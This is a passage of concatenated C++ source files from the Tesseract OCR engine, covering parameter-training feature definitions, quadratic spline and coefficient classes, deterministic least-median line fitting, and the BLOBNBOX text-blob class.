"PTRAIN_DIGITS_MED", // 1
"PTRAIN_DIGITS_LONG", // 2
"PTRAIN_NUM_SHORT", // 3
"PTRAIN_NUM_MED", // 4
"PTRAIN_NUM_LONG", // 5
"PTRAIN_DOC_SHORT", // 6
"PTRAIN_DOC_MED", // 7
"PTRAIN_DOC_LONG", // 8
"PTRAIN_DICT_SHORT", // 9
"PTRAIN_DICT_MED", // 10
"PTRAIN_DICT_LONG", // 11
"PTRAIN_FREQ_SHORT", // 12
"PTRAIN_FREQ_MED", // 13
"PTRAIN_FREQ_LONG", // 14
"PTRAIN_SHAPE_COST_PER_CHAR", // 15
"PTRAIN_NGRAM_COST_PER_CHAR", // 16
"PTRAIN_NUM_BAD_PUNC", // 17
"PTRAIN_NUM_BAD_CASE", // 18
"PTRAIN_XHEIGHT_CONSISTENCY", // 19
"PTRAIN_NUM_BAD_CHAR_TYPE", // 20
"PTRAIN_NUM_BAD_SPACING", // 21
"PTRAIN_NUM_BAD_FONT", // 22
"PTRAIN_RATING_PER_CHAR", // 23
};
// Returns the index of the given feature (by name),
// or -1 meaning the feature is unknown.
int ParamsTrainingFeatureByName(const char *name);
// Entry with features extracted from a single OCR hypothesis for a word.
struct ParamsTrainingHypothesis {
ParamsTrainingHypothesis() : cost(0.0) {
memset(features, 0, sizeof(float) * PTRAIN_NUM_FEATURE_TYPES);
}
ParamsTrainingHypothesis(const ParamsTrainingHypothesis &other) {
memcpy(features, other.features,
sizeof(float) * PTRAIN_NUM_FEATURE_TYPES);
str = other.str;
cost = other.cost;
}
float features[PTRAIN_NUM_FEATURE_TYPES];
STRING str; // string corresponding to word hypothesis (for debugging)
float cost; // path cost computed by segsearch
};
// A list of hypotheses explored during one run of segmentation search.
typedef GenericVector<ParamsTrainingHypothesis> ParamsTrainingHypothesisList;
// A bundle that accumulates all of the hypothesis lists explored during all
// of the runs of segmentation search on a word (e.g. a list of hypotheses
// explored on PASS1, PASS2, fix xheight pass, etc).
class ParamsTrainingBundle {
public:
ParamsTrainingBundle() {};
// Starts a new hypothesis list.
// Should be called at the beginning of a new run of the segmentation search.
void StartHypothesisList() {
hyp_list_vec.push_back(ParamsTrainingHypothesisList());
}
// Adds a new ParamsTrainingHypothesis to the current hypothesis list
// and returns the reference to the newly added entry.
ParamsTrainingHypothesis &AddHypothesis(
const ParamsTrainingHypothesis &other) {
if (hyp_list_vec.empty()) StartHypothesisList();
hyp_list_vec.back().push_back(ParamsTrainingHypothesis(other));
return hyp_list_vec.back().back();
}
GenericVector<ParamsTrainingHypothesisList> hyp_list_vec;
};
} // namespace tesseract
#endif // TESSERACT_WORDREC_PARAMS_TRAINING_FEATDEF_H_
| C++ |
/**********************************************************************
* File: quspline.h (Formerly qspline.h)
* Description: Code for the QSPLINE class.
* Author: Ray Smith
* Created: Tue Oct 08 17:16:12 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef QUSPLINE_H
#define QUSPLINE_H
#include "quadratc.h"
#include "serialis.h"
#include "memry.h"
#include "rect.h"
class ROW;
struct Pix;
class QSPLINE
{
friend void make_first_baseline(TBOX *,
int,
int *,
int *,
QSPLINE *,
QSPLINE *,
float);
friend void make_holed_baseline(TBOX *, int, QSPLINE *, QSPLINE *, float);
friend void tweak_row_baseline(ROW *, double, double);
public:
QSPLINE() { //empty constructor
segments = 0;
xcoords = NULL; //everything empty
quadratics = NULL;
}
QSPLINE( //copy constructor
const QSPLINE &src);
QSPLINE( //constructor
inT32 count, //number of segments
inT32 *xstarts, //segment starts
double *coeffs); //coefficients
~QSPLINE (); //destructor
QSPLINE ( //least squares fit
int xstarts[], //spline boundaries
int segcount, //no of segments
int xcoords[], //points to fit
int ycoords[], int blobcount,//no of coords
int degree); //function
double step( //step change
double x1, //between coords
double x2);
double y( //evaluate
double x) const; //at x
void move( // reposition spline
ICOORD vec); // by vector
BOOL8 overlap( //test overlap
QSPLINE *spline2, //2 cannot be smaller
double fraction); //by more than this
void extrapolate( //linear extrapolation
double gradient, //gradient to use
int left, //new left edge
int right); //new right edge
#ifndef GRAPHICS_DISABLED
void plot( //draw it
ScrollView* window, //in window
ScrollView::Color colour) const; //in colour
#endif
// Paint the baseline over pix. If pix has depth of 32, then the line will
// be painted in red. Otherwise it will be painted in black.
void plot(Pix* pix) const;
QSPLINE & operator= (
const QSPLINE & source); //from this
private:
inT32 spline_index( //binary search
double x) const; //for x
inT32 segments; //no of segments
inT32 *xcoords; //no of coords
QUAD_COEFFS *quadratics; //spline pieces
};
#endif
| C++ |
/**********************************************************************
* File: quadratc.h (Formerly quadrtic.h)
* Description: Code for the QUAD_COEFFS class.
* Author: Ray Smith
* Created: Tue Oct 08 17:24:40 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef QUADRATC_H
#define QUADRATC_H
#include "points.h"
class QUAD_COEFFS
{
public:
QUAD_COEFFS() {
} //empty constructor
QUAD_COEFFS( //constructor
double xsq, //coefficients
float x,
float constant) {
a = xsq;
b = x;
c = constant;
}
float y( //evaluate
float x) const { //at x
return (float) ((a * x + b) * x + c);
}
void move( // reposition word
ICOORD vec) { // by vector
/************************************************************
y - q = a (x - p)^2 + b (x - p) + c
y - q = ax^2 - 2apx + ap^2 + bx - bp + c
y = ax^2 + (b - 2ap)x + (c - bp + ap^2 + q)
************************************************************/
inT16 p = vec.x ();
inT16 q = vec.y ();
c = (float) (c - b * p + a * p * p + q);
b = (float) (b - 2 * a * p);
}
double a; //x squared
float b; //x
float c; //constant
private:
};
#endif
| C++ |
///////////////////////////////////////////////////////////////////////
// File: detlinefit.cpp
// Description: Deterministic least median squares line fitting.
// Author: Ray Smith
// Created: Thu Feb 28 14:45:01 PDT 2008
//
// (C) Copyright 2008, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#include "detlinefit.h"
#include "statistc.h"
#include "ndminx.h"
#include "tprintf.h"
namespace tesseract {
// The number of points to consider at each end.
const int kNumEndPoints = 3;
// The minimum number of points at which to switch to number of points
// for badly fitted lines.
// To ensure a sensible error metric, kMinPointsForErrorCount should be at
// least kMaxRealDistance / (1 - %ile) where %ile is the fractile used in
// ComputeUpperQuartileError.
const int kMinPointsForErrorCount = 16;
// The maximum real distance to use before switching to number of
// mis-fitted points, which will get square-rooted for true distance.
const int kMaxRealDistance = 2.0;
DetLineFit::DetLineFit() : square_length_(0.0) {
}
DetLineFit::~DetLineFit() {
}
// Delete all Added points.
void DetLineFit::Clear() {
pts_.clear();
distances_.clear();
}
// Add a new point. Takes a copy - the pt doesn't need to stay in scope.
void DetLineFit::Add(const ICOORD& pt) {
pts_.push_back(PointWidth(pt, 0));
}
// Associates a half-width with the given point if a point overlaps the
// previous point by more than half the width, and its distance is further
// than the previous point, then the more distant point is ignored in the
// distance calculation. Useful for ignoring i dots and other diacritics.
void DetLineFit::Add(const ICOORD& pt, int halfwidth) {
pts_.push_back(PointWidth(pt, halfwidth));
}
// Fits a line to the points, ignoring the skip_first initial points and the
// skip_last final points, returning the fitted line as a pair of points,
// and the upper quartile error.
double DetLineFit::Fit(int skip_first, int skip_last,
ICOORD* pt1, ICOORD* pt2) {
// Do something sensible with no points.
if (pts_.empty()) {
pt1->set_x(0);
pt1->set_y(0);
*pt2 = *pt1;
return 0.0;
}
// Count the points and find the first and last kNumEndPoints.
int pt_count = pts_.size();
ICOORD* starts[kNumEndPoints];
if (skip_first >= pt_count) skip_first = pt_count - 1;
int start_count = 0;
int end_i = MIN(skip_first + kNumEndPoints, pt_count);
for (int i = skip_first; i < end_i; ++i) {
starts[start_count++] = &pts_[i].pt;
}
ICOORD* ends[kNumEndPoints];
if (skip_last >= pt_count) skip_last = pt_count - 1;
int end_count = 0;
end_i = MAX(0, pt_count - kNumEndPoints - skip_last);
for (int i = pt_count - 1 - skip_last; i >= end_i; --i) {
ends[end_count++] = &pts_[i].pt;
}
// 1 or 2 points need special treatment.
if (pt_count <= 2) {
*pt1 = *starts[0];
if (pt_count > 1)
*pt2 = *ends[0];
else
*pt2 = *pt1;
return 0.0;
}
// Although with between 2 and 2*kNumEndPoints-1 points, there will be
// overlap in the starts, ends sets, this is OK and taken care of by the
// if (*start != *end) test below, which also tests for equal input points.
double best_uq = -1.0;
// Iterate each pair of points and find the best fitting line.
for (int i = 0; i < start_count; ++i) {
ICOORD* start = starts[i];
for (int j = 0; j < end_count; ++j) {
ICOORD* end = ends[j];
if (*start != *end) {
ComputeDistances(*start, *end);
// Compute the upper quartile error from the line.
double dist = EvaluateLineFit();
if (dist < best_uq || best_uq < 0.0) {
best_uq = dist;
*pt1 = *start;
*pt2 = *end;
}
}
}
}
// Finally compute the square root to return the true distance.
return best_uq > 0.0 ? sqrt(best_uq) : best_uq;
}
// Constrained fit with a supplied direction vector. Finds the best line_pt,
// that is one of the supplied points having the median cross product with
// direction, ignoring points that have a cross product outside of the range
// [min_dist, max_dist]. Returns the resulting error metric using the same
// reduced set of points.
// *Makes use of floating point arithmetic*
double DetLineFit::ConstrainedFit(const FCOORD& direction,
double min_dist, double max_dist,
bool debug, ICOORD* line_pt) {
ComputeConstrainedDistances(direction, min_dist, max_dist);
// Do something sensible with no points or computed distances.
if (pts_.empty() || distances_.empty()) {
line_pt->set_x(0);
line_pt->set_y(0);
return 0.0;
}
int median_index = distances_.choose_nth_item(distances_.size() / 2);
*line_pt = distances_[median_index].data;
if (debug) {
tprintf("Constrained fit to dir %g, %g = %d, %d :%d distances:\n",
direction.x(), direction.y(),
line_pt->x(), line_pt->y(), distances_.size());
for (int i = 0; i < distances_.size(); ++i) {
tprintf("%d: %d, %d -> %g\n", i, distances_[i].data.x(),
distances_[i].data.y(), distances_[i].key);
}
tprintf("Result = %d\n", median_index);
}
// Center distances on the fitted point.
double dist_origin = direction * *line_pt;
for (int i = 0; i < distances_.size(); ++i) {
distances_[i].key -= dist_origin;
}
return sqrt(EvaluateLineFit());
}
// Returns true if there were enough points at the last call to Fit or
// ConstrainedFit for the fitted points to be used on a badly fitted line.
bool DetLineFit::SufficientPointsForIndependentFit() const {
return distances_.size() >= kMinPointsForErrorCount;
}
// Backwards compatible fit returning a gradient and constant.
// Deprecated. Prefer Fit(ICOORD*, ICOORD*) where possible, but use this
// function in preference to the LMS class.
double DetLineFit::Fit(float* m, float* c) {
ICOORD start, end;
double error = Fit(&start, &end);
if (end.x() != start.x()) {
*m = static_cast<float>(end.y() - start.y()) / (end.x() - start.x());
*c = start.y() - *m * start.x();
} else {
*m = 0.0f;
*c = 0.0f;
}
return error;
}
// Backwards compatible constrained fit with a supplied gradient.
// Deprecated. Use ConstrainedFit(const FCOORD& direction) where possible
// to avoid potential difficulties with infinite gradients.
double DetLineFit::ConstrainedFit(double m, float* c) {
// Do something sensible with no points.
if (pts_.empty()) {
*c = 0.0f;
return 0.0;
}
double cos = 1.0 / sqrt(1.0 + m * m);
FCOORD direction(cos, m * cos);
ICOORD line_pt;
double error = ConstrainedFit(direction, -MAX_FLOAT32, MAX_FLOAT32, false,
&line_pt);
*c = line_pt.y() - line_pt.x() * m;
return error;
}
// Computes and returns the squared evaluation metric for a line fit.
double DetLineFit::EvaluateLineFit() {
// Compute the upper quartile error from the line.
double dist = ComputeUpperQuartileError();
if (distances_.size() >= kMinPointsForErrorCount &&
dist > kMaxRealDistance * kMaxRealDistance) {
// Use the number of mis-fitted points as the error metric, as this
// gives a better measure of fit for badly fitted lines where more
// than a quarter are badly fitted.
double threshold = kMaxRealDistance * sqrt(square_length_);
dist = NumberOfMisfittedPoints(threshold);
}
return dist;
}
// Computes the absolute error distances of the points from the line,
// and returns the squared upper-quartile error distance.
double DetLineFit::ComputeUpperQuartileError() {
int num_errors = distances_.size();
if (num_errors == 0) return 0.0;
// Get the absolute values of the errors.
for (int i = 0; i < num_errors; ++i) {
if (distances_[i].key < 0) distances_[i].key = -distances_[i].key;
}
// Now get the upper quartile distance.
int index = distances_.choose_nth_item(3 * num_errors / 4);
double dist = distances_[index].key;
// The true distance is the square root of the dist squared / square_length.
// Don't bother with the square root. Just return the square distance.
return square_length_ > 0.0 ? dist * dist / square_length_ : 0.0;
}
// Returns the number of sample points that have an error more than threshold.
int DetLineFit::NumberOfMisfittedPoints(double threshold) const {
int num_misfits = 0;
int num_dists = distances_.size();
// Get the absolute values of the errors.
for (int i = 0; i < num_dists; ++i) {
if (distances_[i].key > threshold)
++num_misfits;
}
return num_misfits;
}
// Computes all the cross product distances of the points from the line,
// storing the actual (signed) cross products in distances.
// Ignores distances of points that are further away than the previous point,
// and overlaps the previous point by at least half.
void DetLineFit::ComputeDistances(const ICOORD& start, const ICOORD& end) {
distances_.truncate(0);
ICOORD line_vector = end;
line_vector -= start;
square_length_ = line_vector.sqlength();
int line_length = IntCastRounded(sqrt(square_length_));
// Compute the distance of each point from the line.
int prev_abs_dist = 0;
int prev_dot = 0;
for (int i = 0; i < pts_.size(); ++i) {
ICOORD pt_vector = pts_[i].pt;
pt_vector -= start;
int dot = line_vector % pt_vector;
// Compute |line_vector||pt_vector|sin(angle between)
int dist = line_vector * pt_vector;
int abs_dist = dist < 0 ? -dist : dist;
if (abs_dist > prev_abs_dist && i > 0) {
// Ignore this point if it overlaps the previous one.
int separation = abs(dot - prev_dot);
if (separation < line_length * pts_[i].halfwidth ||
separation < line_length * pts_[i - 1].halfwidth)
continue;
}
distances_.push_back(DistPointPair(dist, pts_[i].pt));
prev_abs_dist = abs_dist;
prev_dot = dot;
}
}
// Computes all the cross product distances of the points perpendicular to
// the given direction, ignoring distances outside of the give distance range,
// storing the actual (signed) cross products in distances_.
void DetLineFit::ComputeConstrainedDistances(const FCOORD& direction,
double min_dist, double max_dist) {
distances_.truncate(0);
square_length_ = direction.sqlength();
// Compute the distance of each point from the line.
for (int i = 0; i < pts_.size(); ++i) {
FCOORD pt_vector = pts_[i].pt;
// Compute |line_vector||pt_vector|sin(angle between)
double dist = direction * pt_vector;
if (min_dist <= dist && dist <= max_dist)
distances_.push_back(DistPointPair(dist, pts_[i].pt));
}
}
} // namespace tesseract.
| C++ |
/**********************************************************************
* File: blobbox.h (Formerly blobnbox.h)
* Description: Code for the textord blob class.
* Author: Ray Smith
* Created: Thu Jul 30 09:08:51 BST 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef BLOBBOX_H
#define BLOBBOX_H
#include "clst.h"
#include "elst2.h"
#include "werd.h"
#include "ocrblock.h"
#include "statistc.h"
enum PITCH_TYPE
{
PITCH_DUNNO, // insufficient data
PITCH_DEF_FIXED, // definitely fixed
PITCH_MAYBE_FIXED, // could be
PITCH_DEF_PROP,
PITCH_MAYBE_PROP,
PITCH_CORR_FIXED,
PITCH_CORR_PROP
};
// The possible tab-stop types of each side of a BLOBNBOX.
// The ordering is important, as it is used for deleting dead-ends in the
// search. ALIGNED, CONFIRMED and VLINE should remain greater than the
// non-aligned, unset, or deleted members.
enum TabType {
TT_NONE, // Not a tab.
TT_DELETED, // Not a tab after detailed analysis.
TT_MAYBE_RAGGED, // Initial designation of a tab-stop candidate.
TT_MAYBE_ALIGNED, // Initial designation of a tab-stop candidate.
TT_CONFIRMED, // Aligned with neighbours.
TT_VLINE // Detected as a vertical line.
};
// The possible region types of a BLOBNBOX.
// Note: keep all the text types > BRT_UNKNOWN and all the image types less.
// Keep in sync with kBlobTypes in colpartition.cpp and BoxColor, and the
// *Type static functions below.
enum BlobRegionType {
BRT_NOISE, // Neither text nor image.
BRT_HLINE, // Horizontal separator line.
BRT_VLINE, // Vertical separator line.
BRT_RECTIMAGE, // Rectangular image.
BRT_POLYIMAGE, // Non-rectangular image.
BRT_UNKNOWN, // Not determined yet.
BRT_VERT_TEXT, // Vertical alignment, not necessarily vertically oriented.
BRT_TEXT, // Convincing text.
BRT_COUNT // Number of possibilities.
};
// enum for elements of arrays that refer to neighbours.
// NOTE: keep in this order, so ^2 can be used to flip direction.
enum BlobNeighbourDir {
BND_LEFT,
BND_BELOW,
BND_RIGHT,
BND_ABOVE,
BND_COUNT
};
// enum for special type of text characters, such as math symbol or italic.
enum BlobSpecialTextType {
BSTT_NONE, // No special.
BSTT_ITALIC, // Italic style.
BSTT_DIGIT, // Digit symbols.
BSTT_MATH, // Mathmatical symobls (not including digit).
BSTT_UNCLEAR, // Characters with low recognition rate.
BSTT_SKIP, // Characters that we skip labeling (usually too small).
BSTT_COUNT
};
inline BlobNeighbourDir DirOtherWay(BlobNeighbourDir dir) {
return static_cast<BlobNeighbourDir>(dir ^ 2);
}
// BlobTextFlowType indicates the quality of neighbouring information
// related to a chain of connected components, either horizontally or
// vertically. Also used by ColPartition for the collection of blobs
// within, which should all have the same value in most cases.
enum BlobTextFlowType {
BTFT_NONE, // No text flow set yet.
BTFT_NONTEXT, // Flow too poor to be likely text.
BTFT_NEIGHBOURS, // Neighbours support flow in this direction.
BTFT_CHAIN, // There is a weak chain of text in this direction.
BTFT_STRONG_CHAIN, // There is a strong chain of text in this direction.
BTFT_TEXT_ON_IMAGE, // There is a strong chain of text on an image.
BTFT_LEADER, // Leader dots/dashes etc.
BTFT_COUNT
};
// Returns true if type1 dominates type2 in a merge. Mostly determined by the
// ordering of the enum, LEADER is weak and dominates nothing.
// The function is anti-symmetric (t1 > t2) === !(t2 > t1), except that
// this cannot be true if t1 == t2, so the result is undefined.
inline bool DominatesInMerge(BlobTextFlowType type1, BlobTextFlowType type2) {
// LEADER always loses.
if (type1 == BTFT_LEADER) return false;
if (type2 == BTFT_LEADER) return true;
// With those out of the way, the ordering of the enum determines the result.
return type1 >= type2;
}
namespace tesseract {
class ColPartition;
}
class BLOBNBOX;
ELISTIZEH (BLOBNBOX)
class BLOBNBOX:public ELIST_LINK
{
public:
BLOBNBOX() {
ConstructionInit();
}
explicit BLOBNBOX(C_BLOB *srcblob) {
box = srcblob->bounding_box();
ConstructionInit();
cblob_ptr = srcblob;
area = static_cast<int>(srcblob->area());
}
static BLOBNBOX* RealBlob(C_OUTLINE* outline) {
C_BLOB* blob = new C_BLOB(outline);
return new BLOBNBOX(blob);
}
// Rotates the box and the underlying blob.
void rotate(FCOORD rotation);
// Methods that act on the box without touching the underlying blob.
// Reflect the box in the y-axis, leaving the underlying blob untouched.
void reflect_box_in_y_axis();
// Rotates the box by the angle given by rotation.
// If the blob is a diacritic, then only small rotations for skew
// correction can be applied.
void rotate_box(FCOORD rotation);
// Moves just the box by the given vector.
void translate_box(ICOORD v) {
if (IsDiacritic()) {
box.move(v);
base_char_top_ += v.y();
base_char_bottom_ += v.y();
} else {
box.move(v);
set_diacritic_box(box);
}
}
void merge(BLOBNBOX *nextblob);
void really_merge(BLOBNBOX* other);
void chop( // fake chop blob
BLOBNBOX_IT *start_it, // location of this
BLOBNBOX_IT *blob_it, // iterator
FCOORD rotation, // for landscape
float xheight); // line height
void NeighbourGaps(int gaps[BND_COUNT]) const;
void MinMaxGapsClipped(int* h_min, int* h_max,
int* v_min, int* v_max) const;
void CleanNeighbours();
// Returns positive if there is at least one side neighbour that has a
// similar stroke width and is not on the other side of a rule line.
int GoodTextBlob() const;
// Returns the number of side neighbours that are of type BRT_NOISE.
int NoisyNeighbours() const;
// Returns true if the blob is noise and has no owner.
bool DeletableNoise() const {
return owner() == NULL && region_type() == BRT_NOISE;
}
// Returns true, and sets vert_possible/horz_possible if the blob has some
// feature that makes it individually appear to flow one way.
// eg if it has a high aspect ratio, yet has a complex shape, such as a
// joined word in Latin, Arabic, or Hindi, rather than being a -, I, l, 1.
bool DefiniteIndividualFlow();
// Returns true if there is no tabstop violation in merging this and other.
bool ConfirmNoTabViolation(const BLOBNBOX& other) const;
// Returns true if other has a similar stroke width to this.
bool MatchingStrokeWidth(const BLOBNBOX& other,
double fractional_tolerance,
double constant_tolerance) const;
// Returns a bounding box of the outline contained within the
// given horizontal range.
TBOX BoundsWithinLimits(int left, int right);
// Estimates and stores the baseline position based on the shape of the
// outline.
void EstimateBaselinePosition();
// Simple accessors.
const TBOX& bounding_box() const {
return box;
}
// Set the bounding box. Use with caution.
// Normally use compute_bounding_box instead.
void set_bounding_box(const TBOX& new_box) {
box = new_box;
base_char_top_ = box.top();
base_char_bottom_ = box.bottom();
}
void compute_bounding_box() {
box = cblob_ptr->bounding_box();
base_char_top_ = box.top();
base_char_bottom_ = box.bottom();
baseline_y_ = box.bottom();
}
const TBOX& reduced_box() const {
return red_box;
}
void set_reduced_box(TBOX new_box) {
red_box = new_box;
reduced = TRUE;
}
inT32 enclosed_area() const {
return area;
}
bool joined_to_prev() const {
return joined != 0;
}
bool red_box_set() const {
return reduced != 0;
}
int repeated_set() const {
return repeated_set_;
}
void set_repeated_set(int set_id) {
repeated_set_ = set_id;
}
C_BLOB *cblob() const {
return cblob_ptr;
}
TabType left_tab_type() const {
return left_tab_type_;
}
void set_left_tab_type(TabType new_type) {
left_tab_type_ = new_type;
}
TabType right_tab_type() const {
return right_tab_type_;
}
void set_right_tab_type(TabType new_type) {
right_tab_type_ = new_type;
}
BlobRegionType region_type() const {
return region_type_;
}
void set_region_type(BlobRegionType new_type) {
region_type_ = new_type;
}
BlobSpecialTextType special_text_type() const {
return spt_type_;
}
void set_special_text_type(BlobSpecialTextType new_type) {
spt_type_ = new_type;
}
BlobTextFlowType flow() const {
return flow_;
}
void set_flow(BlobTextFlowType value) {
flow_ = value;
}
bool vert_possible() const {
return vert_possible_;
}
void set_vert_possible(bool value) {
vert_possible_ = value;
}
bool horz_possible() const {
return horz_possible_;
}
void set_horz_possible(bool value) {
horz_possible_ = value;
}
int left_rule() const {
return left_rule_;
}
void set_left_rule(int new_left) {
left_rule_ = new_left;
}
int right_rule() const {
return right_rule_;
}
void set_right_rule(int new_right) {
right_rule_ = new_right;
}
int left_crossing_rule() const {
return left_crossing_rule_;
}
void set_left_crossing_rule(int new_left) {
left_crossing_rule_ = new_left;
}
int right_crossing_rule() const {
return right_crossing_rule_;
}
void set_right_crossing_rule(int new_right) {
right_crossing_rule_ = new_right;
}
float horz_stroke_width() const {
return horz_stroke_width_;
}
void set_horz_stroke_width(float width) {
horz_stroke_width_ = width;
}
float vert_stroke_width() const {
return vert_stroke_width_;
}
void set_vert_stroke_width(float width) {
vert_stroke_width_ = width;
}
float area_stroke_width() const {
return area_stroke_width_;
}
tesseract::ColPartition* owner() const {
return owner_;
}
void set_owner(tesseract::ColPartition* new_owner) {
owner_ = new_owner;
}
bool leader_on_left() const {
return leader_on_left_;
}
void set_leader_on_left(bool flag) {
leader_on_left_ = flag;
}
bool leader_on_right() const {
return leader_on_right_;
}
void set_leader_on_right(bool flag) {
leader_on_right_ = flag;
}
BLOBNBOX* neighbour(BlobNeighbourDir n) const {
return neighbours_[n];
}
bool good_stroke_neighbour(BlobNeighbourDir n) const {
return good_stroke_neighbours_[n];
}
void set_neighbour(BlobNeighbourDir n, BLOBNBOX* neighbour, bool good) {
neighbours_[n] = neighbour;
good_stroke_neighbours_[n] = good;
}
bool IsDiacritic() const {
return base_char_top_ != box.top() || base_char_bottom_ != box.bottom();
}
int base_char_top() const {
return base_char_top_;
}
int base_char_bottom() const {
return base_char_bottom_;
}
int baseline_position() const {
return baseline_y_;
}
int line_crossings() const {
return line_crossings_;
}
void set_line_crossings(int value) {
line_crossings_ = value;
}
void set_diacritic_box(const TBOX& diacritic_box) {
base_char_top_ = diacritic_box.top();
base_char_bottom_ = diacritic_box.bottom();
}
BLOBNBOX* base_char_blob() const {
return base_char_blob_;
}
void set_base_char_blob(BLOBNBOX* blob) {
base_char_blob_ = blob;
}
bool UniquelyVertical() const {
return vert_possible_ && !horz_possible_;
}
bool UniquelyHorizontal() const {
return horz_possible_ && !vert_possible_;
}
// Returns true if the region type is text.
static bool IsTextType(BlobRegionType type) {
return type == BRT_TEXT || type == BRT_VERT_TEXT;
}
// Returns true if the region type is image.
static bool IsImageType(BlobRegionType type) {
return type == BRT_RECTIMAGE || type == BRT_POLYIMAGE;
}
// Returns true if the region type is line.
static bool IsLineType(BlobRegionType type) {
return type == BRT_HLINE || type == BRT_VLINE;
}
// Returns true if the region type cannot be merged.
static bool UnMergeableType(BlobRegionType type) {
return IsLineType(type) || IsImageType(type);
}
// Helper to call CleanNeighbours on all blobs on the list.
static void CleanNeighbours(BLOBNBOX_LIST* blobs);
// Helper to delete all the deletable blobs on the list.
static void DeleteNoiseBlobs(BLOBNBOX_LIST* blobs);
// Helper to compute edge offsets for all the blobs on the list.
// See coutln.h for an explanation of edge offsets.
static void ComputeEdgeOffsets(Pix* thresholds, Pix* grey,
BLOBNBOX_LIST* blobs);
#ifndef GRAPHICS_DISABLED
// Helper to draw all the blobs on the list in the given body_colour,
// with child outlines in the child_colour.
static void PlotBlobs(BLOBNBOX_LIST* list,
ScrollView::Color body_colour,
ScrollView::Color child_colour,
ScrollView* win);
// Helper to draw only DeletableNoise blobs (unowned, BRT_NOISE) on the
// given list in the given body_colour, with child outlines in the
// child_colour.
static void PlotNoiseBlobs(BLOBNBOX_LIST* list,
ScrollView::Color body_colour,
ScrollView::Color child_colour,
ScrollView* win);
static ScrollView::Color TextlineColor(BlobRegionType region_type,
BlobTextFlowType flow_type);
// Keep in sync with BlobRegionType.
ScrollView::Color BoxColor() const;
void plot(ScrollView* window, // window to draw in
ScrollView::Color blob_colour, // for outer bits
ScrollView::Color child_colour); // for holes
#endif
// Initializes the bulk of the members to default values for use at
// construction time.
void ConstructionInit() {
cblob_ptr = NULL;
area = 0;
area_stroke_width_ = 0.0f;
horz_stroke_width_ = 0.0f;
vert_stroke_width_ = 0.0f;
ReInit();
}
// Initializes members set by StrokeWidth and beyond, without discarding
// stored area and strokewidth values, which are expensive to calculate.
void ReInit() {
joined = false;
reduced = false;
repeated_set_ = 0;
left_tab_type_ = TT_NONE;
right_tab_type_ = TT_NONE;
region_type_ = BRT_UNKNOWN;
flow_ = BTFT_NONE;
spt_type_ = BSTT_SKIP;
left_rule_ = 0;
right_rule_ = 0;
left_crossing_rule_ = 0;
right_crossing_rule_ = 0;
if (area_stroke_width_ == 0.0f && area > 0 && cblob() != NULL)
area_stroke_width_ = 2.0f * area / cblob()->perimeter();
owner_ = NULL;
base_char_top_ = box.top();
base_char_bottom_ = box.bottom();
baseline_y_ = box.bottom();
line_crossings_ = 0;
base_char_blob_ = NULL;
horz_possible_ = false;
vert_possible_ = false;
leader_on_left_ = false;
leader_on_right_ = false;
ClearNeighbours();
}
void ClearNeighbours() {
for (int n = 0; n < BND_COUNT; ++n) {
neighbours_[n] = NULL;
good_stroke_neighbours_[n] = false;
}
}
private:
C_BLOB *cblob_ptr; // edgestep blob
TBOX box; // bounding box
TBOX red_box; // bounding box
int area:30; // enclosed area
int joined:1; // joined to prev
int reduced:1; // reduced box set
int repeated_set_; // id of the set of repeated blobs
TabType left_tab_type_; // Indicates tab-stop assessment
TabType right_tab_type_; // Indicates tab-stop assessment
BlobRegionType region_type_; // Type of region this blob belongs to
BlobTextFlowType flow_; // Quality of text flow.
inT16 left_rule_; // x-coord of nearest but not crossing rule line
inT16 right_rule_; // x-coord of nearest but not crossing rule line
inT16 left_crossing_rule_; // x-coord of nearest or crossing rule line
inT16 right_crossing_rule_; // x-coord of nearest or crossing rule line
inT16 base_char_top_; // y-coord of top/bottom of diacritic base,
inT16 base_char_bottom_; // if it exists else top/bottom of this blob.
inT16 baseline_y_; // Estimate of baseline position.
int line_crossings_; // Number of line intersections touched.
BLOBNBOX* base_char_blob_; // The blob that was the base char.
float horz_stroke_width_; // Median horizontal stroke width
float vert_stroke_width_; // Median vertical stroke width
float area_stroke_width_; // Stroke width from area/perimeter ratio.
tesseract::ColPartition* owner_; // Who will delete me when I am not needed
BlobSpecialTextType spt_type_; // Special text type.
BLOBNBOX* neighbours_[BND_COUNT];
bool good_stroke_neighbours_[BND_COUNT];
bool horz_possible_; // Could be part of horizontal flow.
bool vert_possible_; // Could be part of vertical flow.
bool leader_on_left_; // There is a leader to the left.
bool leader_on_right_; // There is a leader to the right.
};
class TO_ROW: public ELIST2_LINK
{
public:
static const int kErrorWeight = 3;
TO_ROW() {
clear();
} //empty
TO_ROW( //constructor
BLOBNBOX *blob, //from first blob
float top, //of row //target height
float bottom,
float row_size);
void print() const;
float max_y() const { //access function
return y_max;
}
float min_y() const {
